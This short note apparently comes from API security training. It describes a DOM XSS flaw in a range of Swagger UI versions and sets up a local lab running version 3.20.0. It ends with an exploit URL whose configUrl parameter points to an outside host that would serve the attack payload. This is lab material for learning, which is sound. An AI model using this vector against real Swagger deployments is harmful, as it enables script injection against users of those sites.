API Traning

Swagger DOM XSS

• Vulnerable versions - 3.14.1 < 3.38.0

• Lab version - 3.20.0

Setting Up Swagger UI Lab

• wget https://github.com/swagger-api/swagger-ui/archive/refs/tags/v3.20.0.zip

• unzip v3.20.0.zip

• cd swagger-ui-3.20.0/dist

• python3 -m http.server

Swagger DOM XSS Exploit

• http://0.0.0.0:8000/?configUrl=https://xss.smarpo.com/test.json